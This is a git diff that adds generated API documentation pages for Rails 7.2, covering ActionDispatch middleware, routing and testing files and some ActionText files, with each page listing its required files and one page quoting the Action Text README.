+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/reloader_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/reloader_rb.html new file mode 100644 index 0000000000..d7397f3831 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/reloader_rb.html @@ -0,0 +1,77 @@ +--- +title: reloader.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/remote_ip_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/remote_ip_rb.html new file mode 100644 index 0000000000..70d4b9f3ba --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/remote_ip_rb.html @@ -0,0 +1,89 @@ +--- +title: remote_ip.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • ipaddr
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/request_id_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/request_id_rb.html new file mode 100644 index 0000000000..c0a869c257 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/request_id_rb.html @@ -0,0 +1,87 @@ +--- +title: request_id.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • securerandom
  • + +
  • active_support/core_ext/string/access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/server_timing_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/server_timing_rb.html new file mode 100644 index 0000000000..634e0ad3c4 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/server_timing_rb.html @@ -0,0 +1,89 @@ +--- +title: server_timing.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/notifications
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/abstract_store_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/abstract_store_rb.html new file mode 100644 index 0000000000..5d6c4a686d --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/abstract_store_rb.html @@ -0,0 +1,103 @@ +--- +title: abstract_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack/utils
  • + +
  • rack/request
  • + +
  • rack/session/abstract/id
  • + +
  • action_dispatch/middleware/cookies
  • + +
  • action_dispatch/request/session
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/cache_store_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/cache_store_rb.html new file mode 100644 index 0000000000..9df92bccab --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/cache_store_rb.html @@ -0,0 +1,87 @@ +--- +title: cache_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/middleware/session/abstract_store
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/cookie_store_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/cookie_store_rb.html new file mode 100644 index 0000000000..2ce9509c57 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/cookie_store_rb.html @@ -0,0 +1,93 @@ +--- +title: cookie_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/keys
  • + +
  • action_dispatch/middleware/session/abstract_store
  • + +
  • rack/session/cookie
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/mem_cache_store_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/mem_cache_store_rb.html new file mode 100644 index 0000000000..c38fb33cd6 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/session/mem_cache_store_rb.html @@ -0,0 +1,89 @@ +--- +title: mem_cache_store.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/middleware/session/abstract_store
  • + +
  • rack/session/dalli
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/show_exceptions_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/show_exceptions_rb.html new file mode 100644 index 0000000000..5273c2cca9 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/show_exceptions_rb.html @@ -0,0 +1,87 @@ +--- +title: show_exceptions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/middleware/exception_wrapper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/ssl_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/ssl_rb.html new file mode 100644 index 0000000000..f68870be8a --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/ssl_rb.html @@ -0,0 +1,79 @@ +--- +title: ssl.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/stack_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/stack_rb.html new file mode 100644 index 0000000000..c8c9843dc2 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/stack_rb.html @@ -0,0 +1,93 @@ +--- +title: stack.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/inflector/methods
  • + +
  • active_support/dependencies
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/middleware/static_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/middleware/static_rb.html new file mode 100644 index 0000000000..7517617213 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/middleware/static_rb.html @@ -0,0 +1,91 @@ +--- +title: static.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack/utils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/railtie_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/railtie_rb.html new file mode 100644 index 0000000000..8fb00cbb39 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/railtie_rb.html @@ -0,0 +1,97 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch
  • + +
  • action_dispatch/log_subscriber
  • + +
  • active_support/messages/rotation_configuration
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/request/session_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/request/session_rb.html new file mode 100644 index 0000000000..d054cb3d53 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/request/session_rb.html @@ -0,0 +1,85 @@ +--- +title: session.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rack/session/abstract/id
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/request/utils_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/request/utils_rb.html new file mode 100644 index 0000000000..ded46daac3 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/request/utils_rb.html @@ -0,0 +1,89 @@ +--- +title: utils.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/endpoint_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/endpoint_rb.html new file mode 100644 index 0000000000..4f2ed85536 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/endpoint_rb.html @@ -0,0 +1,74 @@ +--- +title: endpoint.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/inspector_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/inspector_rb.html new file mode 100644 index 0000000000..bd648c008c --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/inspector_rb.html @@ -0,0 +1,99 @@ +--- +title: inspector.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • delegate
  • + +
  • io/console/size
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/mapper_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/mapper_rb.html new file mode 100644 index 0000000000..6d24693eb3 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/mapper_rb.html @@ -0,0 +1,117 @@ +--- +title: mapper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/slice
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_support/core_ext/regexp
  • + +
  • action_dispatch/routing/redirection
  • + +
  • action_dispatch/routing/endpoint
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/polymorphic_routes_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/polymorphic_routes_rb.html new file mode 100644 index 0000000000..7cb909b3a2 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/polymorphic_routes_rb.html @@ -0,0 +1,74 @@ +--- +title: polymorphic_routes.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/redirection_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/redirection_rb.html new file mode 100644 index 0000000000..aafe5a0abd --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/redirection_rb.html @@ -0,0 +1,101 @@ +--- +title: redirection.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
  • rack/utils
  • + +
  • action_controller/metal/exceptions
  • + +
  • action_dispatch/routing/endpoint
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/route_set_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/route_set_rb.html new file mode 100644 index 0000000000..cc8eafa04c --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/route_set_rb.html @@ -0,0 +1,123 @@ +--- +title: route_set.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/journey
  • + +
  • active_support/core_ext/object/to_query
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
  • active_support/core_ext/module/remove_method
  • + +
  • active_support/core_ext/array/extract_options
  • + +
  • action_controller/metal/exceptions
  • + +
  • action_dispatch/routing/endpoint
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/routes_proxy_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/routes_proxy_rb.html new file mode 100644 index 0000000000..a776f9cdc4 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/routes_proxy_rb.html @@ -0,0 +1,80 @@ +--- +title: routes_proxy.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing/url_for_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing/url_for_rb.html new file mode 100644 index 0000000000..ce7a016f15 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing/url_for_rb.html @@ -0,0 +1,76 @@ +--- +title: url_for.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/routing_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/routing_rb.html new file mode 100644 index 0000000000..855c477ff7 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/routing_rb.html @@ -0,0 +1,72 @@ +--- +title: routing.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/system_test_case_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/system_test_case_rb.html new file mode 100644 index 0000000000..7ad43cc5ba --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/system_test_case_rb.html @@ -0,0 +1,99 @@ +--- +title: system_test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • capybara/dsl
  • + +
  • capybara/minitest
  • + +
  • action_controller
  • + +
  • action_dispatch/system_testing/driver
  • + +
  • action_dispatch/system_testing/browser
  • + +
  • action_dispatch/system_testing/server
  • + +
  • action_dispatch/system_testing/test_helpers/screenshot_helper
  • + +
  • action_dispatch/system_testing/test_helpers/setup_and_teardown
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/system_testing/browser_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/browser_rb.html new file mode 100644 index 0000000000..dc35c9fce4 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/browser_rb.html @@ -0,0 +1,72 @@ +--- +title: browser.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/system_testing/driver_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/driver_rb.html new file mode 100644 index 0000000000..ec6a81b438 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/driver_rb.html @@ -0,0 +1,80 @@ +--- +title: driver.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • selenium/webdriver
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/system_testing/server_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/server_rb.html new file mode 100644 index 0000000000..335b40fb00 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/server_rb.html @@ -0,0 +1,72 @@ +--- +title: server.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper_rb.html new file mode 100644 index 0000000000..ca82937192 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/test_helpers/screenshot_helper_rb.html @@ -0,0 +1,78 @@ +--- +title: screenshot_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown_rb.html new file mode 100644 index 0000000000..7fd97e57c1 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/system_testing/test_helpers/setup_and_teardown_rb.html @@ -0,0 +1,74 @@ +--- +title: setup_and_teardown.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/assertion_response_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertion_response_rb.html new file mode 100644 index 0000000000..84d951bbe3 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertion_response_rb.html @@ -0,0 +1,77 @@ +--- +title: assertion_response.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions/response_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions/response_rb.html new file mode 100644 index 0000000000..c408b628cc --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions/response_rb.html @@ -0,0 +1,76 @@ +--- +title: response.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions/routing_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions/routing_rb.html new file mode 100644 index 0000000000..aa10061aa0 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions/routing_rb.html @@ -0,0 +1,102 @@ +--- +title: routing.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • uri
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
  • active_support/core_ext/string/access
  • + +
  • action_controller/metal/exceptions
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions_rb.html new file mode 100644 index 0000000000..8d699c50af --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/assertions_rb.html @@ -0,0 +1,86 @@ +--- +title: assertions.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails-dom-testing
  • + +
  • action_dispatch/testing/assertions/response
  • + +
  • action_dispatch/testing/assertions/routing
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/integration_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/integration_rb.html new file mode 100644 index 0000000000..cc06a569ee --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/integration_rb.html @@ -0,0 +1,115 @@ +--- +title: integration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • stringio
  • + +
  • uri
  • + +
  • rack/test
  • + +
  • active_support/test_case
  • + +
  • action_dispatch/testing/request_encoder
  • + +
  • action_dispatch/testing/test_helpers/page_dump_helper
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/request_encoder_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/request_encoder_rb.html new file mode 100644 index 0000000000..a957a7e1a0 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/request_encoder_rb.html @@ -0,0 +1,93 @@ +--- +title: request_encoder.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • nokogiri
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/test_helpers/page_dump_helper_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_helpers/page_dump_helper_rb.html new file mode 100644 index 0000000000..c42e312e33 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_helpers/page_dump_helper_rb.html @@ -0,0 +1,89 @@ +--- +title: page_dump_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • launchy
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/test_process_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_process_rb.html new file mode 100644 index 0000000000..64ed1d4784 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_process_rb.html @@ -0,0 +1,91 @@ +--- +title: test_process.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/middleware/cookies
  • + +
  • action_dispatch/middleware/flash
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/test_request_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_request_rb.html new file mode 100644 index 0000000000..3fbcc282e1 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_request_rb.html @@ -0,0 +1,87 @@ +--- +title: test_request.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/indifferent_access
  • + +
  • rack/utils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch/testing/test_response_rb.html b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_response_rb.html new file mode 100644 index 0000000000..16dd8d91e8 --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch/testing/test_response_rb.html @@ -0,0 +1,85 @@ +--- +title: test_response.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_dispatch/testing/request_encoder
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/lib/action_dispatch_rb.html b/src/7.2/files/actionpack/lib/action_dispatch_rb.html new file mode 100644 index 0000000000..4bf74605aa --- /dev/null +++ b/src/7.2/files/actionpack/lib/action_dispatch_rb.html @@ -0,0 +1,105 @@ +--- +title: action_dispatch.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • action_pack
  • + +
  • rack
  • + +
  • uri
  • + +
  • action_dispatch/deprecator
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/README_md.html b/src/7.2/files/actiontext/README_md.html new file mode 100644 index 0000000000..46988ea43b --- /dev/null +++ b/src/7.2/files/actiontext/README_md.html @@ -0,0 +1,75 @@ +--- +title: README.md +layout: default +--- +
+ + +
+
+ +
+ +

Action Text

+ +

Action Text brings rich text content and editing to Rails. It includes the Trix editor that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that’s associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.

+ +

You can read more about Action Text in the Action Text Overview guide.

+ +

Development

+ +

The JavaScript for Action Text is distributed both as a npm module under @rails/actiontext and via the asset pipeline as actiontext.js (and we mirror Trix as trix.js). To ensure that the latter remains in sync, you must run yarn build and checkin the artifacts whenever the JavaScript source or the Trix dependency is bumped. CSS changes must be brought over manually to app/assets/stylesheets/trix.css

+ +

License

+ +

Action Text is released under the MIT License.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/app/helpers/action_text/content_helper_rb.html b/src/7.2/files/actiontext/app/helpers/action_text/content_helper_rb.html new file mode 100644 index 0000000000..8c4c52ebff --- /dev/null +++ b/src/7.2/files/actiontext/app/helpers/action_text/content_helper_rb.html @@ -0,0 +1,82 @@ +--- +title: content_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails-html-sanitizer
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/app/helpers/action_text/tag_helper_rb.html b/src/7.2/files/actiontext/app/helpers/action_text/tag_helper_rb.html new file mode 100644 index 0000000000..13411eb6ba --- /dev/null +++ b/src/7.2/files/actiontext/app/helpers/action_text/tag_helper_rb.html @@ -0,0 +1,99 @@ +--- +title: tag_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/object/try
  • + +
  • action_view/helpers/tags/placeholderable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/app/models/action_text/encrypted_rich_text_rb.html b/src/7.2/files/actiontext/app/models/action_text/encrypted_rich_text_rb.html new file mode 100644 index 0000000000..bee7a0323c --- /dev/null +++ b/src/7.2/files/actiontext/app/models/action_text/encrypted_rich_text_rb.html @@ -0,0 +1,77 @@ +--- +title: encrypted_rich_text.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/app/models/action_text/record_rb.html b/src/7.2/files/actiontext/app/models/action_text/record_rb.html new file mode 100644 index 0000000000..af9e69e6fd --- /dev/null +++ b/src/7.2/files/actiontext/app/models/action_text/record_rb.html @@ -0,0 +1,70 @@ +--- +title: record.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/app/models/action_text/rich_text_rb.html b/src/7.2/files/actiontext/app/models/action_text/rich_text_rb.html new file mode 100644 index 0000000000..bccb01b00a --- /dev/null +++ b/src/7.2/files/actiontext/app/models/action_text/rich_text_rb.html @@ -0,0 +1,79 @@ +--- +title: rich_text.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachable_rb.html b/src/7.2/files/actiontext/lib/action_text/attachable_rb.html new file mode 100644 index 0000000000..09cf72c355 --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachable_rb.html @@ -0,0 +1,76 @@ +--- +title: attachable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actiontext/lib/action_text/attachables/content_attachment_rb.html b/src/7.2/files/actiontext/lib/action_text/attachables/content_attachment_rb.html new file mode 100644 index 0000000000..40907aef1b --- /dev/null +++ b/src/7.2/files/actiontext/lib/action_text/attachables/content_attachment_rb.html @@ -0,0 +1,72 @@ +--- +title: content_attachment.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
